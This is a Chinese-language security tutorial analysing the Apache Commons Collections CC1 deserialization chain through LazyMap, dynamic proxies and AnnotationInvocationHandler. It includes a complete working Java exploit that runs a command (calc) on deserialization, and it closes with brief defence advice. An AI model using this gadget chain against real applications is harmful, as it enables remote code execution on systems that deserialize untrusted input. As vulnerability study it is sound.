Java安全 CC链1分析(Lazymap类)
字数 1406 2025-08-18 11:35:38
Java安全:CC链1分析(LazyMap类)教学文档
前言
本教学文档详细分析Apache Commons Collections(CC)反序列化漏洞链1(CC1)中利用LazyMap类的攻击路径。在学习本文前,建议先了解CC链1的核心机制和基本环境配置。
CC链1核心回顾
CC链1的核心是利用ChainedTransformer的transform方法链式调用实现命令执行:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(1); // 触发命令执行
攻击的关键在于找到能够触发transform方法的调用点。
LazyMap类分析
LazyMap.get()方法
LazyMap类中的get方法是触发transform的关键点:
public Object get(Object key) {
if (map.containsKey(key) == false) { // 当key不存在时
Object value = factory.transform(key); // 关键调用点
map.put(key, value);
return value;
}
return map.get(key);
}
当满足map.containsKey(key) == false时,会调用factory对象的transform方法。
LazyMap构造方法
LazyMap的构造方法是受保护的:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
但可以通过静态方法decorate()创建实例:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
测试Demo
验证LazyMap.get()触发transform的Demo:
public class main2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
Map decorate = LazyMap.decorate(hash, chainedTransformer);
decorate.get("key"); // 触发transform
}
}
AnnotationInvocationHandler类分析
invoke方法
AnnotationInvocationHandler类的invoke方法是关键:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// 绕过两个if判断
if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString": return toStringImpl();
case "hashCode": return hashCodeImpl();
case "annotationType": return type;
}
// 关键调用点
Object result = memberValues.get(member);
// ...
}
触发条件:
- 方法名不为
equals - 无参调用方法
动态代理机制
AnnotationInvocationHandler实现了InvocationHandler接口,可以作为动态代理的处理器:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
// ...
}
创建代理对象的代码:
Map proxyInstance = (Map) Proxy.newProxyInstance(
LazyMap.class.getClassLoader(),
new Class[]{Map.class},
instance);
readObject方法
AnnotationInvocationHandler的readObject方法中会遍历memberValues:
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
// ...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// 会调用memberValues的get方法
String name = memberValue.getKey();
// ...
}
// ...
}
完整攻击链构造
攻击思路
- 创建
ChainedTransformer链 - 使用
LazyMap.decorate()创建LazyMap实例 - 通过反射创建
AnnotationInvocationHandler实例作为代理处理器 - 创建代理对象,其处理器为上一步创建的实例
- 再次通过反射创建
AnnotationInvocationHandler实例,设置memberValues为代理对象 - 序列化/反序列化触发漏洞
完整EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.*;
import java.util.*;
public class cc11 {
public static void main(String[] args) throws Exception {
// 1. 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 2. 创建LazyMap
HashMap<Object,Object> hash = new HashMap<>();
Map decorate = LazyMap.decorate(hash, chainedTransformer);
// 3. 反射获取AnnotationInvocationHandler构造方法
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 4. 创建代理处理器
InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
// 5. 创建代理对象
Map proxyInstance = (Map) Proxy.newProxyInstance(
LazyMap.class.getClassLoader(),
new Class[]{Map.class},
instance);
// 6. 创建最终触发对象
Object o = constructor.newInstance(Override.class, proxyInstance);
// 序列化和反序列化触发
serialize(o);
unserialize("1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
攻击链执行流程
- 反序列化
AnnotationInvocationHandler对象 - 调用
readObject方法 - 遍历
memberValues(代理对象) - 触发代理对象的
get方法 - 调用
AnnotationInvocationHandler.invoke方法 - 调用
LazyMap.get方法 - 调用
ChainedTransformer.transform方法 - 执行命令链
关键点总结
- LazyMap.get():触发
transform的关键调用点 - 动态代理:通过代理机制自动调用
invoke方法 - AnnotationInvocationHandler:
invoke方法触发getreadObject方法作为反序列化入口
- 反射:绕过私有构造方法的限制
- 序列化/反序列化:最终触发点
防御建议
- 升级Apache Commons Collections到安全版本
- 使用
SerialKiller等工具过滤危险的序列化对象 - 在反序列化时进行严格的白名单控制